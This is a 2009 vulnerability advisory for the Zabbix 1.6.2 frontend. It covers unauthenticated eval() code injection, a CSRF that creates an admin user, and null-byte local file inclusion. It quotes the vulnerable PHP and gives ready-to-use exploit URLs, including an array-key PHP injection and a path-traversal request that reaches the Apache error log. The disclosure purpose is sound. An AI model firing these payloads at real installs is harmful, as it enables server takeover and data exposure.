Zabbix 1.6.2 XSRF / LFI / Code Execution

`Zabbix 1.6.2 Frontend Multiple Vulnerabilities  
  
Name Multiple Vulnerabilities in Zabbix Frontend  
Systems Affected Zabbix 1.6.2 and possibly earlier versions  
Severity High  
Impact (CVSSv2) High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)  
Vendor http://www.zabbix.com/  
Advisory http://www.ush.it/team/ush/hack-zabbix_162/adv.txt  
Authors Antonio "s4tan" Parata (s4tan AT ush DOT it)  
Francesco "ascii" Ongaro (ascii AT ush DOT it)  
Giovanni "evilaliv3" Pellerano (evilaliv3 AT  
digitalbullets DOT org)  
Date 20090303  
  
I. BACKGROUND  
  
>From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting  
and visualization features today which are missing in other monitoring  
systems, even some of the best commercial ones".  
  
II. DESCRIPTION  
  
Multiple Vulnerabilities exist in Zabbix front end software.  
  
III. ANALYSIS  
  
Summary:  
  
A) Remote Code Execution  
B) Cross Site Request Forgery  
C) Local File Inclusion  
  
A) Remote Code Execution  
  
A Remote Code Execution issue has been found in Zabbix version  
1.6.2 and no authentication is required in order to exploit this  
vulnerability. The Magic Quotes must be off in order to exploit  
this vulnerability, however this feature will not be supported  
starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).  
  
Zabbix has a security feature that parses all incoming input for  
possible bad chars with the help of the function check_fields() defined  
in "include/validate.inc.php". The issue we have discovered is contained  
in this input validation code.  
  
Pages define an array of every used variable that derives from external  
(GPC) input. An example of the mechanism is the following:  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
$fields=array(  
"config"=> array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),  
// actions  
"groupid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),  
"hostid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),  
"start"=> array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".  
PAGE_SIZE."==0)", NULL),  
"next"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),  
"prev"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),  
// filter  
"filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),  
"filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),  
"userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),  
'filter_timesince'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),  
'filter_timetill'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),  
//ajax  
'favobj'=> array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),  
'favid'=> array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,  
'isset({favobj})'),  
'state'=> array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,  
'isset({favobj}) && ("filter"=={favobj})'),  
);  
  
check_fields($fields);  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
After the definition of the "$fields" array all the variables are  
checked by the function check_fields().  
  
The main step of the check_fields() function is:  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
foreach($fields as $field => $checks){  
$err |= check_field($fields, $field, $checks);  
}  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
Following the check_field() function we have identified that the  
function's main steps are the creation of some local variables using  
list() and a consequent call of calc_exp() (which resides in the same  
file).  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
list($type, $opt, $flags, $validation, $exception) = $checks;  
[...]  
$except=calc_exp($fields,$field,$exception);  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
calc_exp()'s code is:  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
function calc_exp($fields,$field,$expression){  
if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))  
return FALSE;  
  
if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))  
$expression = str_replace("{}",'$_REQUEST["'.$field.'"]',$expression);  
  
if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){  
foreach($_REQUEST[$field] as $key => $val){  
$expression2 =  
str_replace("{}",'$_REQUEST["'.$field.'"]["'.$key.'"]',$expression);  
if(calc_exp2($fields,$field,$expression2)==FALSE)  
return FALSE;  
}  
return TRUE;  
}  
return calc_exp2($fields,$field,$expression);  
}  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
As you can see we should be able to call calc_exp2(), our vulnerable  
function, avoiding to fall into a breach that exits (returns) from the  
function.  
  
Investigating calc_exp2()'s source:  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
function calc_exp2($fields,$field,$expression){  
foreach($fields as $f => $checks){  
$expression = str_replace('{'.$f.'}','$_REQUEST["'.$f.'"]',$expression);  
}  
  
$expression = trim($expression,"& ");  
$exec = "return (".$expression.") ? 1 : 0;";  
  
$ret = eval($exec);  
  
return $ret;  
}  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
We have reached a function that contains an eval() call of the "$exec"  
variable that contains user controlled data.  
  
To better understand how the executed string is composed we must find  
a disposable page. Thanks to "locales.php" we can reach this function  
without any authentication.  
  
Now if we try to execute the query:  
  
/locales.php?download&langTo&extlang[AAA]=1  
  
The value of $exec is the following:  
  
return (($_REQUEST["extlang"]["AAA"]!='')) ? 1 : 0;  
  
Some constraints exist: the injected payload must comply with the  
calc_exp()'s requirements in order to call calc_exp2() and the created  
string must be syntactically correct. What we can do is to play with  
the key values of the array. An intermediate test was:  
  
/locales.php?download&langTo&extlang[AAA"];phpinfo();]=1  
  
But it generates a syntax error. After some thinking the problem was  
solved in this way:  
  
/locales.php?download&langTo&extlang[".phpinfo()."]=1  
  
Now the syntax is correct and the payload gets executed.  
  
B) Cross Site Request Forgery  
  
A CSRF vulnerability exists in file "users.php". If the admin visits the  
following link:  
  
/users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&  
lang=lang&theme=theme&autologout=0&url=url&refresh=0  
  
A user with admin permissions is created.  
  
C) Local File Inclusion  
  
If the user is authenticated, a Local File Inclusion vulnerability  
exists in file "locales.php".  
  
The following URL exploits this vulnerability:  
  
/locales.php?action=1&next=1&srclang=../validate&extlang=en  
  
A string in the form of ".inc.php" is automatically appended to the  
local file path. Despite that it's possible to include every target  
file truncating the filename using %00 (nullbyte):  
  
/locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22  
  
Nullbyte injection normally requires magic quotes off.  
  
The vulnerable code is the following:  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
'srclang'=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, 'isset({next})'),  
[...]  
else if(isset($_REQUEST['next'])){  
[...]  
$fileFrom = 'include/locales/'.$_REQUEST['srclang'].".inc.php";  
if(file_exists($fileFrom)){  
include($fileFrom);  
  
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--  
  
IV. DETECTION  
  
Zabbix 1.6.2 and possibly earlier versions are vulnerable.  
  
V. WORKAROUND  
  
Update zabbix from svn the server (svn://svn.zabbix.com) or download  
version 1.6.3 when aviable.  
  
VI. VENDOR RESPONSE  
  
Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.  
  
VII. CVE INFORMATION  
  
No CVE at this time.  
  
VIII. DISCLOSURE TIMELINE  
  
20081215 Bug discovered  
20090116 Initial vendor contact  
20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)  
20090130 Second email (When this is going to be fixed?)  
20090131 Vendor Response (Everything has been fixed a week ago and is  
publicy aviable in the SVN, Zabbix 1.6.3 will be released  
within 10-15 days)  
20090220 Third email (20 days elasped and no response, we will release  
on 23 Feb)  
20090220 Vendor Response (Postpone of 5-10 days required)  
20090220 Third email (We will wait 5-10 days, 2 March is the deadline  
if no contact)  
20090303 Forced Advisory Release  
  
IX. CREDIT  
  
Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni  
"evilaliv3" Pellerano are credited with the discovery of this  
vulnerability.  
  
Antonio "s4tan" Parata  
web site: http://www.ictsc.it/  
mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it  
  
Francesco "ascii" Ongaro  
web site: http://www.ush.it/  
mail: ascii AT ush DOT it  
  
Giovanni "evilaliv3" Pellerano  
web site: http://www.evilaliv3.org  
mail: giovanni.pellerano AT evilaliv3 DOT org  
  
X. LEGAL NOTICES  
  
Copyright (c) 2009 Francesco "ascii" Ongaro  
  
Permission is granted for the redistribution of this alert  
electronically. It may not be edited in any way without mine express  
written consent. If you wish to reprint the whole or any  
part of this alert in any other medium other than electronically,  
please email me for permission.  
  
Disclaimer: The information in the advisory is believed to be accurate  
at the time of publishing based on currently available information. Use  
of the information constitutes acceptance for use in an AS IS condition.  
There are no warranties with regard to this information. Neither the  
author nor the publisher accepts any liability for any direct, indirect,  
or consequential loss or damage arising from use of, or reliance on,  
this information.  
`